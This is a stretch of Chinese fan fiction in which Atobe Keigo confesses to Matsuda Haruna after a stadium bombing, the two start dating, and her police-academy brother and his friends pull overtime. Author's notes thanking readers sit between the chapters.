好不容易看到一个视频教程,她刚点开,视频里的声音就大声地传了出来—— “今天我们来讲一下隐藏式车门的开门技巧” 由于松田春奈的求知欲望过于强烈,一时忘了自己没有调低音量,捧着手机手忙脚乱地摁下低音键。 迹部景吾看着她拿出手机的时候,心脏都漏跳了一拍。努力装作不在意的样子,但却悄悄地把前后排的座位隔声板升了起来。 起码这样就算待会儿被拒绝,声音也传不到前面去。 正等待着命运的宣判呢,谁曾想,先给他来了个插播广告。 迹部景吾看着捂着脸害羞的松田春奈,只觉得她哪里都可爱:“要是想要下车的话,按钮在这里。等车停下来的时候,你可以试试。” 松田春奈用手给自己手动扇风降温,努力让自己表现得泰然自若:“好的,我待会试试。” 那句话怎么说得来着?只要自己不尴尬,那尴尬的就是别人。 呜呜呜呜没有用,还是好尴尬。松田春奈在心里咬着小手绢哀嚎。 也许是马上就要揭晓答案了,迹部景吾紧张到想吐的那股劲反而消失了,变得游刃有余起来:“就算是不会下车也没关系,你在车里坐着等着就好。我会下去给你拉开车门的。” 松田春奈还沉浸在自己刚刚的尴尬糗事当中,胡乱地点了点头,努力寻找下一个话题,好让这茬快点过去。 可惜,她的大脑CPU因为温度太高而暂时罢工。好在宫崎优子的电话解救了她。 一接通,宫崎优子就急忙连声问道:“春奈,我刚睡醒,才发现东京网球场发生爆炸案的消息。你现在一切都好吗?有没有受伤?” 松田春奈安慰道:“优子,我没事,也没受伤。很快就能到家了。” 宫崎优子咬着手:“那你今天好好休息,明天我到东京来看你。” 松田春奈知道她是亲眼看到自己才能放下心,也没拒绝。和她简单商定了时间,明天去车站接她。 这么一打岔,她脸上的温度终于降了下来,皮肤表面只留了一层浅浅的绯红。 心情平复下来以后,她也终于有心情享受这辆豪车了。 虽然不知道这辆车是什么牌子,但就凭这舒适柔软的座椅,和丝毫感觉不到晃动的乘坐感,通通都让她大开眼界。 松田春奈暗自感叹,老话说得果然没毛病——便宜没好货,好货不便宜。 也不知道她大学毕业以后,工作多少年才能买得起这样的车 看着沿途的风景,松田春奈知道她快到家了。 想到邮箱里的未读讯息,她低头点开看完后又神色淡然地抬头,继续用手背支着脸,向窗外看去。 迹部景吾一直用余光注意着她的一举一动,以便确保她叫到自己的时候——不论是接受还是拒绝。 他都随时能保持好表情管理。 既不要开心得像个疯子吓到她;也不要过于难过让她心生愧疚。 然而,在发现她什么反应都没有的时候,迹部景吾甚至开始怀疑自己。 那封表白的讯息,他真的发出去了吗?发对人了吗? 他内心的疑问越来越多,甚至一个比一个惊悚。 迹部景吾掏出手机,点击到已发送的界面,舒了一口气。 还好,他表白的消息发出去了,也没有发错人。 车内还是一片寂静,但他却渐渐被这股静压得喘不过气。他把车窗开了一点小缝,凑过去深呼吸。 迹部景吾想,他大概知道了她的意思。 所谓无声的拒绝,不过如此。 她一直都是个不愿意让别人伤心尴尬的人。 之前他还诧异,为什么不论何时何地,她都能从身上摸出来纸巾。 直到他偶然看到她拒绝别人的场景才明白,虽然她拒绝得时候干脆利落,丝毫不拖泥带水,但也会在看到对方流泪的时候,让他擦干眼泪再回班。 起码还能在外人面前维持住自己的体面和自尊。 托他从小到大上过的礼仪课的福,迹部景吾的脸上还能勉强维持着笑容,然而嘴角却在不自然地抽动。 害怕自己现在的表情会让松田春奈感到奇怪,他连忙低头掩饰,努力调整面部表情。 他感觉自己的内心正开始渐渐失温,像一个四面漏风的茅草房。 卖火柴的小女孩在冰冷的寒风中,还能有一把火柴用来御寒,最后还“看见”了她所认为的世间最美好的事物。 而他现在所能预见的,则全是她以后和自己分道扬镳的惨淡画面。脑海里的恶魔在疯狂地嘲笑着他的不自量力。 拐过前面的路口,松田春奈就要到家了。 她出声道:“司机先生,在这里停下就可以了。我还要去附近的便利店买点东西。” “迹部,你待会有时间吗?食堂美食选拔赛的事,还有一些条例需要和你确认一下。”松田春奈言笑晏晏地问道。 “!”他耳边传来的询问像是天籁之声。 迹部景吾像是久病的患者突然看到了疗愈的希望,猛地抬头看向她。 美食选拔赛的琐事早就已经处理完了,此刻他们两个心知肚明,这只是个让两人单独相处的借口。 松田春奈看着他,语气不变:“迹部,你有空吗?” 迹部景吾的声音有些滞涩:“有的。” “好的,那我先下去等你。” 迹部景吾让司机在这里等他,说他很快就回来。 反正被人拒绝很快的,只需要几秒钟就可以了,他想道。 从下车的路口到松田家的路其实不长,步行也只不过需要几分钟,但是迹部的心却沉甸甸的,脚步如有千斤重。 不知在什么时候,悬在他头顶的达摩克里斯之剑就会落下,好让他彻底断了自己的痴心妄想。 松田春奈带着迹部景吾拐了个弯,来到这片住宅区的运动区。 现在这里一个人也没有,空荡荡的。时逢周末,大家要么出去玩,要么在家里陪伴家人。 迹部在心里庆幸,这也许是不幸中的万幸,待会儿不会有人来围观他的失败。 “迹部,你之前谈过恋爱吗?” “没有!” “那你知道什么是吊桥效应吗?” 松田春奈问得很是婉转。当她看到那封表白邮件的时候,脑海里的第一反应就是这个。 他们俩在校外的几次交集,都充满了戏剧性。尤其这次更是处于生死关头,他在冲动之下发送消息也是情有可原。 松田春奈认为,其实迹部只是误把危急时刻的心跳加速,当成了心动而已,冷静几天就能缓过来。 听到这儿,迹部景吾原本已经燃烧成灰的心脏又重新恢复了跳动。 她没有在拒绝,而是在确认。 想到这里,他能切身感到自己身体里的血液正在燃烧,难以抑制的兴奋涌上心头。 松田春奈坐到秋千上慢慢摇晃,迹部景吾侧过身,替她挡着阳光。 他用手握紧一侧的链条,慢慢加力。秋千在他的控制下,渐渐停了下来。 冰冷的铁链也被他捂热。 他弯下腰,身后的阳光把他的影子投射到松田春奈的身上,带着点微妙的暧昧。 “松田,虽然我没有谈过恋爱。但是我可以百分之百地肯定,我对你的情愫绝不是所谓的吊桥效应。” “因为,我早在那之前就喜欢上你了。” 松田春奈原本想要反驳的话被堵在了胸口。 迹部景吾的分寸把握得刚刚好,说完之后就直起了腰,继续在一旁用身体帮她遮阳。 憋了这么久的话终于说出了口,他仿佛打开了话匣子,想要把自己完完全全地剖析给她看。 “其实,我今天给你发消息的时候,原本也没打算能得到你的回应。只是”迹部景吾冲她笑了笑,洒脱又张扬,“在生命的最后关头,我不想留下唯一的遗憾。” 松田春奈神色怔怔地看着他。 说实话,当有这么一位各方面都出类拔萃的绩优高富帅,在你面前诚恳地向你告白时,真的很难不心动。 其实,她也不是一点想法都没有的。 毕竟她也曾因为他的一句话而想歪过 松田春奈确认道:“那你之前说想送我回家,也不是因为你生性严谨负责,单纯爱护下属了?” 迹部景吾无奈点头:“如果是别人的话也会送,但也只是让司机送回家就好了。我想送你回家,不过是借机想多和你呆久一点。” 之前的疑惑被一点一点地解开。 松田春奈的记性很好,她一边问着记忆里曾经感到异常,但又强行被她一厢情愿认为成友情的节点。 很奇怪,那些她曾以为平平无奇的事情。在她如今的回忆里,却变成了闪闪发光的CG定格画面。 她问一个画面,迹部景吾解释一个。 场景从表白莫名其妙地变成了答辩现场,迹部景吾像是临近毕业的学生,忐忑不安地等待着自己最后的成绩。 在恋爱的这场考试里,他早早写好了名字,每道题目都仔细读过,才斟酌着落笔。 而松田春奈掌握着他所有的生杀予夺。 她从秋千上站起来,问出最后一个问题:“即使我现在没有那么喜欢你也没有关系吗?” 迹部景吾感觉自己出现了幻听,耳边劈里啪啦地全是烟花绽放的声音,整个人被巨大的喜悦环绕着:“没关系!我向你表白,本就应该是我喜欢你更多一些。” 他补充道:“让你喜欢上我,才是我接下来要去做的事。” “那如果一直都是你喜欢我更多一些呢?” “真的吗?那太好了!你的喜欢就算是比我少一点,那也是很多很多了。” 松田春奈明显感到他的呼吸变得急促起来,整个人的状态和之前完全不同,浑身洋溢着一种中大奖的飘忽感。 虽然最终的答案还没说出口,但她的心情莫名也跟着他好了起来。 松田春奈笑着问道:“你会谈恋爱吗?” 迹部景吾认真道:“我之前虽然没有谈过,但是我的学习能力很强,一学就会。” 松田春奈看着他诚恳的眼神,想到刚刚自己在拆弹时,他站在她一抬眼就能看到他的位置,默默地陪伴着自己。 明明给自己擦汗时,他的手都在控制不住地轻微颤抖,却还是一如既往镇定地告诉她,让她不要害怕,放手去拆 仔细想想,她是有心动过的。 在他鼓励自己的时候,在他帮自己擦汗的时候,以及他现在站在自己面前,眼睛亮闪闪看着自己的时候。 阳光把他的睫毛染上了一层金色,衬着眼角的泪痣更加迷人。 松田春奈决定先下手为强。 她指了指头发,问道:“你给我擦汗时留下的纸屑还在吗?” 迹部景吾看她没有拒绝的意思,抬手轻轻地把最后一点纸屑拿了下来,左看右看之后,肯定道:“现在没有了。” “作为帮忙的奖励。”松田春奈笑得狡黠极了,像是只小狐狸,“男朋友,以后还请多多指教。” 反正最终的结果已然定下,既然告白是他先说的,那么确认关系就由她来好了。 如果比他少一点的喜欢也是很多很多了的话,那再加上她的主动,是不是代表现在双方的情感勉强也能打个平手了呢。 迹部景吾的嘴巴张张合合,一时失语。内心充斥着感激和喜悦,整个世界都变得明亮起来。 生怕她反悔,回过神来后他赶紧开口应下这个称呼,一秒都没耽搁。 “春奈,以后我们就是男女朋友关系了。”他表情严肃,语气严谨得像是在教堂宣誓,“每天我都会多喜欢你一点。” 这样你才会多喜欢我一点,他在心里默默说道。 松田春奈挑眉,重新坐回秋千上:“你刚刚把我的秋千拉停了——” “我来推你!”迹部景吾很是上道。 之前在办公室里无意窥视过的蝴蝶骨,此刻又毫无防备地出现在他面前。他心情愉悦,伸手轻轻地推她。 他的手掌虽然只是在她背上短暂停留,但却带着股不容忽视的热度,烫得松田春奈有些不自在,连平时最喜欢的秋千都荡得不尽兴了。 她紧急叫停,眼神却故意不去看他:“我玩累了,你还是帮我把秋千停下来吧。” 迹部景吾怕她受伤,站在她的右侧握住铁链,先是跟着秋千摆动的幅度跑了几个来回,才慢慢让它停下来。 “你喜欢荡秋千?”迹部景吾咧着嘴问道。 松田春奈想了想:“当作运动的话,还挺喜欢的。” 这时,迹部景吾的手机响了起来,是他的司机打来的。 想到下车前他跟司机说得话,他接起来后,抢先开口:“我呆会儿再走,麻烦你们多等我一下。” 被拒绝的话,他确实用不了多久就能回到车上;但现在情况反转,如果可以的话,他希望能在这里呆到她撵他再走。 “你要是有事的话,先回去就行。”松田春奈说道。 迹部景吾确认她的这句话自己曾在忍足看得言情小说上瞟到过。 当时女主角的心理活动是什么来着? 好像是——你走!你要是走了,就再也别回来! 迹部景吾打了个激灵,坚决保证道:“没事没事,我没事的。我还想和你多呆一会。” 松田春奈看着他的表情一脸坚毅,失笑道:“今天经历了这么多事,你不需要回家休息一下吗?” 迹部景吾摇头,脱口而出说道:“家里也没有别人,和你在一起才是真正的休息。” 他说完后又开始懊悔,偷偷去看松田春奈,担心她认为自己是一个油嘴滑舌的家伙。 确认她完全没有反感之色,这才放下心。 他的父母目前都在国外出差,每天忙得连轴转,就连他差点遭遇爆炸的事情都是他们的助理告诉他们的。 在确认他安全之后,手上的业务也让他们也无法飞回来,只能在手机上简单安慰几句。 他承认,他的家是很大,但同时也很空旷。 对他来说,回家并不意味着休息,而是代表自己又要回到大家所期盼的角色上面。 世界确实是个巨大的草台班子没错。 他有时候觉得自己每天都像是在角色扮演,努力cos一个没有丝毫漏洞的继承人。 看出来迹部的心情有些低落,松田春奈问道:“那你平时休息的时候,都做些什么呢?” ——回想和你在一起时的画面。 显然,这种实话不能说。他还不想把自己表现得像个偏执的疯子。 他挑了些正常的社交活动:“骑马,遛狗,打网球” 但这些只能让他的身体放松,大脑还是在不停地运转,好歹聊胜于无。 “那你要不要试试拆点电子设备?”松田春奈眨眨眼睛。 “可是我不会。” 迹部景吾话是这么说,但已经在心里开始盘算让管家采购一批新的电子设备来练手了。 松田春奈看不得他对自己没有信心的样子,嘎嘣脆地鼓励他:“你可是我男朋友,我可以教你的!” 不论从她的口中听到几次这个称呼,都会让他心生愉悦。 “!!!”迹部景吾握紧拳头,强撑着别让自己笑出声来,继续用犹豫的语气问道,“会不会太麻烦你了?” “你不是说过自己的学习能力很强吗?我相信你!”松田春奈鼓励他道,“这样吧,你以后独自成功拆好一个设备,我就答应你一个要求,怎么样?” 迹部景吾觉得今天一定是自己的幸运日,决定回家后立刻请东大的家教给他进行一对一私教,争取以最快的速度达到她的要求。 “不管什么要求都可以吗?”他确认道。 “违法犯罪的事情不行。”松田春奈回答得一脸严肃。 不知道想到了什么,迹部景吾勾起唇角,笑得有些肆意:“那就一言为定,击掌为誓!” 松田春奈在未来无数次后悔,自己当初应该把标准拉得再高些的! 作者有话说: 感谢在2024-02-24 12:45:32~2024-02-27 15:58:05期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:轩缘琉璃1个; 感谢灌溉营养液的小天使:骑猪去旅行20瓶;江惜晨2瓶; 非常感谢大家对我的支持,我会继续努力的! 第27章 直到松田父母给松田春奈打电话,问她什么时候到家。她才意识到原来她和迹部已经在外面聊这么久了。 迹部景吾对她说道:“快点回家休息吧,今天最累的人莫过于你。” 松田春奈接连打了好几个哈欠,打到最后眼角甚至还渗出了几滴眼泪。迟来的疲乏如浪潮般慢慢涌了上来 她只觉得自己连眨眼的速度都变慢了,整个人行动迟缓得像个树懒。 迹部景吾看她累得不行,连步子都迈不开的样子,心疼极了。 怕吵到她休息,他特意把声线压低,像一股轻柔的风,和她商量道:“春奈,要不我把你背回去吧?到门口再把你放下来,好不好?” 松田春奈感觉自己的大脑现在如同一片浆糊,根本无法理解整段句子的含义,只能靠抓取关键词来进行对话。 看上去是在思考,实际上是在放空。 一听到“背”这个关键词,松田春奈立刻点头。反正只要不用她出力,怎么着都行。 迹部景吾让她坐在秋千上,然后半蹲在她面前。 松田春奈从小被自己哥哥背到大,对于这一系列动作很熟悉,轻车熟路地趴了上去,很快就在他的背上找到了自己合适的位置。 迹部景吾平时也只和网球部的那群正选队员有过勾肩搭背的行为,大部分都是他们训练过头走不动了,让他帮忙拉一把这样,所以对女生的实际重量一直没有清晰的概念。 为了让自己展现出即使背着她,自己也还是很轻松的样子。他暗自收紧核心,托住她的双腿后,才缓缓起身。 把她背起来后迹部才恍然,自己刚刚的那些准备工作完全没有必要。 他甚至觉得自己不是在背她,而是托起了一根轻柔的羽毛。 松田春奈只觉得面前的这个背很好睡,步伐也稳。衣服上传来的味道也很好闻,像是清晨带着露水的玫瑰,清新自然。 除了他自身的温度有些高以外,没有其他的缺点。 过高的温度让她趴得有些不舒服,她调整了几下位置,把脸挪到迹部右侧的肩膀上之后,才迷迷糊糊地似梦非梦起来。 迹部景吾全程都是靠着自己的肌肉记忆走过去的。 因为不好意思和她有过多的身体接触,担心她认为自己孟浪,所以他特意把双手握拳来支撑她的双腿。 然而自己的注意力却像是在和自己的大脑作对一样。 越是告诉自己不要分神,他就越是会被手背上柔软的触感吸引了全部心神。 她整个人又轻又软,像个大号的棉花糖。让他全身不敢用力,生怕一个不小心就弄疼她。 迹部景吾特意避免让自己拳头的关节处去顶着她的腿,而改成用手背去支撑她,生怕自己会在她身上留下印子,给自己减分。 等到松田春奈趴在他一个回头就能碰到她的时候,迹部景吾觉得自己连路都快不会走了。更别提,她的呼吸还会若有似无地飘到自己的脖子上。 像是羽毛轻轻拂过似的,带着一种轻微的痒。 好消息是,他现在终于不去关注自己的手背了。 坏消息是,他现在满脑子都是一些下流念头。 为了避免出糗,他特意把步子迈大,蹭蹭几下就到了目的地。 几分钟的路程,让他走得是心如鼓擂,心率直逼当年他和手冢比赛的时候。 松田春奈是困了,又不是聋了。 她正好好地趴着,耳边突然传来“咚咚咚”的心跳声,频率还越来越快。 她都替他担心,再这样跳下去,心脏会不会出问题。 “背我有这么累吗?怎么你心跳地这么快?”没等迹部开口,松田春奈就从他的背上下来了,揉揉眼睛问道,“我只要做有氧运动的时候心率才会飙升到你这个程度。” 三句话,让你的男朋友心梗。 迹部景吾感觉有一盆凉水直直地朝着自己泼了过来,心一下子凉了半截。 心里原本一直到处乱撞的小鹿,也“啪”地一下子被撞死了。 没想到,自己一顿操作猛如虎,最不希望的事情还是发生了。 急! ! !自己因为背女朋友过于害羞而导致的心跳过快,却被她误认成了是缺乏锻炼!到底应该怎么说她才能相信自己的身体真的没问题啊! ! ! 他整个人欲哭无泪。 “我这不是累的。”他认真解释道。 身体不好这个帽子一定得摘了,不然以后被那群损友知道,一定会笑话死他。 “我这是第一次背女生,心之所以跳这么快,是害羞。”最后几个字,迹部景吾硬生生地是从牙缝里挤出来的。 在刚确立关系的女朋友面前承认自己害羞什么的,还是需要一定勇气的。 他算是看明白了,和松田春奈谈恋爱,最好不要当什么欲说还休的谜语人,更不要玩所谓的你猜我猜我猜猜的游戏。 直接了当的话语才是和她相处的最佳方案。 看着迹部景吾在自己面前正生动形象地演绎什么叫“害羞”的最高境界,松田春奈感觉自己的困意都消退了大半,瞬间有了恶作剧的心思。 “你说你害羞了?” 迹部景吾因为不好意思,微微侧着脸看向另一边。松田春奈却故意使坏,特地凑过去看他的脸部表情,细细确认他到底有没有脸红。 迹部景吾看着近到已经快要怼到自己面前的小卷毛,无奈地叹口气。乖巧地站在原地,任由她近距离观察。 太近了,她的头发都碰到自己的胸口了。 好不容易恢复正常的心跳,又开始慢慢加速。 深呼吸,深呼吸! 吸气——吐气——好,就这样。保持心率,不要再被她发现了。 松田春奈抱着学术的态度,严谨地对比完之后说道:“好像,确实是比你平常的脸色红了点。” 迹部景吾暗暗叫苦,再这么下去,估计他的脸色马上会更红。 为了维护自己在女朋友心目中的形象,他清了清嗓子,平稳道:“春奈,你刚刚不是累了吗。快进去吃饭吧。” 松田春奈眼看着他又变成了平时的那副波澜不惊的样子,内心的挑衅欲顿时上来了。 不知为什么,她还是更想继续看他刚刚害羞的样子:“我还没观察完呢,看完了你的脸色,现在需要进行下一步了。” 趁着自己还能控制住的时候,迹部景吾打算让她快点检查完,好快点回家。 他问道:“那下一步你打算检查什么?” 松田春奈看着他的表情,语出惊人道:“我要摸摸你的胸口,检查你的胸不是,是心跳!” “摸哪里?”迹部景吾瞪大双眼,话都说不利索了,甚至还被自己的口水呛到,“我是说,你打算怎么摸?” “ emmmmm就放在上面摸一下啊。”看着他又变成了之前任由自己欺负的样子,松田春奈这才舒服了,随意道,“我试试你现在心率多少。” “咳在你家门口这里不太好吧。”迹部景吾欲迎还拒道。 他的眼神老是盯着她家的方向,十分担心她的父母下一秒就会出现在门口。 迹部景吾简直不敢想,万一自己在这样的场合下和她的父母见面了,双方会有多么尴尬 松田春奈听到他拒绝自己,小脾气上来了,杏眼圆瞪,头发仿佛也炸毛了:“你是我男朋友,我摸摸你怎么了?” “再说这又不是普通的摸,我是在测试你现在的心跳和刚刚害羞的时候有什么不同。” “好好好,摸摸摸。”迹部景吾连声哄她,带她站到旁边阴凉处的一个死角。 他像做贼似的左右看了看,确定周围没有人路过后,他闭上眼睛不去看她,像个英勇就义的英雄似的:“你摸吧。” 还好他一直坚持锻炼,胸肌什么的一直都有,他暗自庆幸。 不过女生到底是喜欢放松状态下的肌肉还是紧绷状态下的触感啊?迹部景吾在脑海中疯狂地进行头脑风暴。 没等他想完,松田春奈的手就毫不客气地放了上去。 完了,他还没来得及用力算了,就这样吧。 “砰”“砰”“砰” 松田春奈能清晰地感觉到,自己手掌下的肌肉结实有力。 看来他的心脏应该也没有什么问题,跳动的时候甚至能连带着她的手也跟着一起发麻。 松田春奈的手心渐渐溢出了汗,怕被他发现,她立刻缩了回来,话说得前言不搭后语:“我检查完了,没什么不一样。心脏挺好的,我先回去吃饭了。” 迹部景吾当然能感受到她的变化。 他低头看了眼自己的T恤,还好他今天穿得深色,稍微有点水渍就会很明显。 “春奈,你刚刚是不是害羞了?”迹部景吾感觉自己终于掰回一程,含笑问道。 松田春奈硬气道:“才没有!” 迹部景吾唔了一声,扯了扯自己的上衣,说道:“奇怪,那我胸口处怎么有水渍啊?会不会是有人刚刚太紧张,所以手心出汗了?” 松田春奈坚决不承认:“没有紧张,没有害羞。” “你自己说了不算。”迹部景吾慢悠悠地把她刚刚的话还了回去,“得让我检查一下才行。” “你变态!”松田春奈震惊道。 迹部景吾好整以暇地看着她:“我的意思是,让我检查一下你的脸有没有变红。只要没有变化,那就算你没有害羞,怎么样?” 松田春奈抬头看着他,无所谓道:“好啊,你看吧。” 迹部景吾把双手背在身后,英俊倜傥的脸像慢放一样缓缓地靠近她,两人之间的呼吸都清晰可闻。 松田春奈甚至怀疑,他下一秒吸进去的,可能就是自己刚刚才呼出来的气 迹部景吾定定地看着她,松田春奈只觉得自己越来越不自在,眼神总想从他的脸上挪开。但不知为什么,她莫名感觉,但凡自己的视线从他的脸上移开了,就代表着自己在这次的战争中输了。 所以,就算再不自在,她也一直强撑着和他四目相对。 时间仿佛是过了很久,又像是只过了几秒钟。 迹部景吾终于站直了身子:“检查完毕,没有脸红。看来刚刚是我感觉错了,原来春奈没有害羞。” 松田春奈放下心来,扬眉吐气道:“我就说了,我才不会害羞!” 说完,她和迹部景吾挥挥手告别,转身进了家门。 刚进门,松田妈妈就惊呼道:“宝贝,今天外面很热吗?你的脸怎么这么红啊?” 松田春奈闻言,立刻跑进卫生间照镜子。 妈妈果然没说错,她的脸现在红得像是刚从海平面上跃起的朝阳。 那迹部那家伙刚刚还说她没有脸红 哼,真是个骗子。 松田春奈在心里佯嗔道,但嘴角却忍不住勾起 作者有话说: 感谢在2024-02-27 15:58:05~2024-02-29 22:45:59期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:一颖夜29瓶;嘉有萌喵~o(=∩ω∩=) 5瓶;只有油门的马自达1瓶; 非常感谢大家对我的支持,我会继续努力的! 第28章 虽然东京网球场的爆炸案最终无人伤亡。但由于案件事发时,有人为了博取关注,故意在网上传播各种掐头去尾的拼接小视频,并对伤亡人数进行造谣,一时搞得人心惶惶。 等到官方最后出来澄清时,民众反而认为是在数据造假,造成了极大的恶劣影响。 近期原本定于东京网球场举行的活动,也因为观众退票等原因而无限延期了。 为了处理各种烂摊子,警视厅各部门昨夜集体加班,办公楼通宵灯火辉煌。 松田阵平他们几个做完笔录之后,也被顺手抓了壮丁。负责调查本次爆炸案的警视正刚好是他们的直系前辈,闲聊时得知当年他也是从鬼冢班毕业的。 前辈摸着日益稀疏的头顶,和他们沧桑感叹:“听哥一句劝,防脱洗发水你们现在就可以先买起来了,毕业就能用上。” 松田阵平一甩脑袋,发量多到让前辈眼红:“我们家头发都挺多的,感觉目前还没有买的必要。” “我毕业之前头发也不少。”前辈冷哼一声,给他们看了自己手机里的警校毕业照:“等进来之后,一个月就没有几天能正常时间下班,生生把我给熬秃了。” “科比见过凌晨四点的洛杉矶;我来这里刚上班不到半年的时候,就已经见过每个时间段的东京了。” 毕业照上的帅气小伙和眼前的沧桑大叔对比过于强烈,几人一时失语,对他说得话也渐渐重视起来。 前辈继续说道:“现在出去相亲,我和人家女方说我30岁人家都不信,回回都得带证件去证明才行。” 三十岁就能做到警视正的位置,怎么都能称得上是年少有为。 但如果是用头发换来的话 松田阵平难得陷入了纠结,头发都成这样了才到警视正的话,那他成为警视总监的话岂不是要变秃头? ! 降谷零幽幽总结:“怪不得历年来大部分警视总监的头发都不算茂盛,这算不算是另一种程度的聪明绝顶。” “小阵平,你努力吧。作为朋友,我会帮你搜罗到世界上最好的防脱用品。”萩原研二说道。 闲聊时间转瞬即逝。 有句话说得好——后辈见前辈,工作量翻倍。 正愁人手不够的前辈大手一挥,把案件材料的格式告诉他们之后,直接让他们几个把刚刚的笔录整理成册,再顺手把报告写出来。 美名其曰这是相信他们的能力,并为他们提前打下写各种行政材料的基础。 几人对视一眼,撸起袖子开始分工合作。从太阳高悬一直哼哧哼哧地写到深夜才干完。 前辈对他们的工作效率十分满意,送客的时候热情极了,并且真挚地希望他们空余的时候能多来这里转转。当然,要是能顺便把积压已久的其他报告都写写,那就更好了 当他们四个走出警视厅大楼的时候,忽然不约而同地站住,然后再深深地松了口气。 “不知道等咱们在这上班的时候,能有几天可以准时下班。”松田阵平回头望了望楼上,发现许多科室的光还在亮着,担心道,“要是忙到连接春奈放学的时间都没有的话,那可真是” 萩原研二拍拍他的肩膀,安慰道:“放心,大不了我们给你打个掩护,反正这儿离冰帝也不远,来回半个小时怎么着够了。” 他们出来的时候已经是晚上十一点多了,松田阵平和萩原研二怕回家打扰到家人休息,干脆直接在降谷零他们租的房子里暂住了一晚。 早上临走前,诸伏景光特意给松田阵平带上一大袋子零食,让他回家带给春奈。 也是巧了,他刚进家门,就碰见了要出门去接宫崎优子的松田春奈。 在问清了小姐妹的行程之后,松田阵平直接把零食递过去,让她随便挑几样带着去和朋友分享。 果不其然,宫崎优子对“诸伏”牌零食大为赞赏。 今天天气正好,于是两人干脆找了个公园聊天,顺便互相交流一下彼此身边的八卦。 松田春奈率先开始吐槽:“我哥他每周五来接我的时候,感觉都像是来收保护费的。” 在得知松田春奈的“哥哥天团”又增加了几名得力干将时,宫崎优子调侃道:“春奈,请允许我对你未来的男朋友表示一下最最诚挚的幸灾乐祸。” 松田春奈想了想迹部景吾的体格,然后又参考了一下昨天的手感,总体来说感觉比较抗揍的样子,应该能撑得住警校组的“友好交流”吧 看着松田春奈若有所思的表情,宫崎优子连零食都来不及吃,捂住嘴巴说道:“不是我想的那样吧!” “是你想的那样没错。我有男朋友了。”松田春奈看着她,点点头,“就在昨天。” “嘶——”宫崎优子赶紧左右环顾,确认妹控不在附近之后,才小声和她咬耳朵:“那这件事,你哥他知道了吗?” “”松田春奈牙疼的表情足以说明一切,“我哥他昨天没回家,今天早上才回来,还没来得及说。” “那你男朋友的格斗水平怎么样?”宫崎优子问得很是诚恳。 “要是有协助工具的话,应该还行?他属于是那种玄幻类的。”松田春奈最后说得有些含混,“但是他保镖的水平应该不错。” 她也没说错。 毕竟,迹部他用网球的技术的确是很出神入化。甚至可以说得上是呼风唤雨。 “保镖总不能以后他和你哥见面还得随身带个保镖保平安吧。”宫崎优子想了想,建议道,“为了你那位男朋友的安全着想,要不你还是先别告诉你哥了吧。不然感觉他们之间会有一场恶战。” 松田春奈:“去掉“感觉”,是一定会有。我哥一直就对他有点提防的意思。” “啧啧,妹控这可怕的第六感。” 宫崎优子想了想最近在她们俩聊天记录里出现过的男生,问道:“春奈,你的男朋友不会是迹部景吾吧?他就是你之前说过想送你回家的那个人?” 松田春奈看她已经自动解码了,于是点了点头。 “春奈,有点东西啊你!”宫崎优子一拍大腿,激动道,“这恋爱谈得不亏。” 此时,迹部景吾在家里莫名其妙地打了个喷嚏。根据“一想二骂三念叨”的原理,他认定这是代表松田春奈想他了,于是打算顺从天意给她发条讯息。 其实他早上刚起床的时候,就想给松田春奈发讯息来着。但又担心会不会被她认为太粘人,所以一直强忍着没发。 没发导致的后果就是,他处理完一项工作,就看下手机有没有未读消息。 遗憾的是,除了通信运营商发来的天气预报以外,再没有其他的内容了。 心动不如行动,在发出今天的第一条信息之后,迹部的心瞬间没有那么浮躁了。把声音调到最大格后,他继续安心伏桌处理其他事务。 因为宫崎优子下午还要赶回神奈川去参加社团活动,所以两人吃完午饭就早早散场了。 在临上车前,她看着松田春奈说道:“春奈,我永远坚定不移地支持你的所有选择。相信我,你值得这世上最好的一切。” 松田春奈忍住眼泪,和她挥手告别。 * 松田春奈在和朋友出去玩的时候,没有看手机的习惯。等到把宫崎优子送上车,打开手机之后才发现来自迹部的好几条未读讯息。 大概是发现她一直没回,内容从一开始的询问,最后变成了他流水账似的碎碎念。 “春奈,你接到朋友了吗?” “欸——看来和朋友玩得很开心。” “我在看资料,资料好厚。” “上个月新种植的玫瑰开花了,名字叫蜜桃雪山。拍给你看看jpg.” “在吃约克夏布丁,但是没有你送我的布丁玩偶可爱。附图jpg.” “终于只剩下最后一份文件了,胜利就在前方!” 松田春奈一路看下来觉得有趣极了,生活中的细微琐事在他的描述下也变得生动起来。 她直接给他回了个电话:“迹部,不好意思,我刚刚才看到你发的消息。” 迹部景吾在电话铃声刚响起的刹那就接了起来,整个人开心极了:“没事的,你朋友已经回去了吗?” 松田春奈差异道:“你怎么知道的?” 迹部景吾理所当然道:“因为你平时没有玩手机的习惯。只有朋友离开了,你才可能看手机。” 他看着桌子上自己加班加点赶完的公务,对于人的潜力,又有了新的认知。 他走到窗户前,远望着下面的玫瑰园问道:“你下午有什么打算吗?” 松田春奈:“不出意外的话,应该是继续去学网球。” 迹部景吾来了精神,立刻毛遂自荐道:“那还是我去教你吧,上次只教了你挥拍,这次再教你点别的。” 松田春奈想了想他的格斗水平,委婉道:“还是算了吧。昨天你见过的那些哥哥们,今天下午也会在现场。” 迹部景吾闻言,顿时像打了鸡血一样来了劲头,决定非去不可。打算用精湛的网球技术为自己的形象增添光彩。 松田春奈发现自己劝不动他,直接放弃了:“我哥的格斗水平可是他们这一届的第一名。” 迹部景吾闻弦歌而知雅意,决定从今天开始就专门训练这方面。以后见家长的时候,怎么着也得扛过十分钟吧。 今天的话多带点保镖可以扛得住他们几个吗? 作者有话说: 感谢在2024-02-29 22:45:59~2024-03-02 23:59:05期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:卿久1个; 感谢灌溉营养液的小天使:摩多摩多183瓶;千纸鹤16瓶;众朦10瓶;青木6瓶;。 5瓶; Sovereign 、别和我说话、崔更鸟、 mo3child 、喵喵喵1瓶; 非常感谢大家对我的支持,我会继续努力的! 第29章 迹部景吾在深思熟虑之后,决定把忍足侑士也带过去。 谁让他动不动就说他自己恋爱知识丰富呢? 虽然都是理论上的经验,但对自己来说聊胜于无。 正在外面遛狗的忍足侑士接到电话时,满脸的黑人问号。 “不是说好了今天不集训吗?”忍足侑士问道。 迹部景吾:“不是集训,就你和我两个人对练。” “小景,我最近没招你吧?你这有点属于动用私刑的范畴了。” 迹部景吾知道他的德性,淡定开口:“你那只比格的开销以后我包了。” “!!!我马上打车过去。” 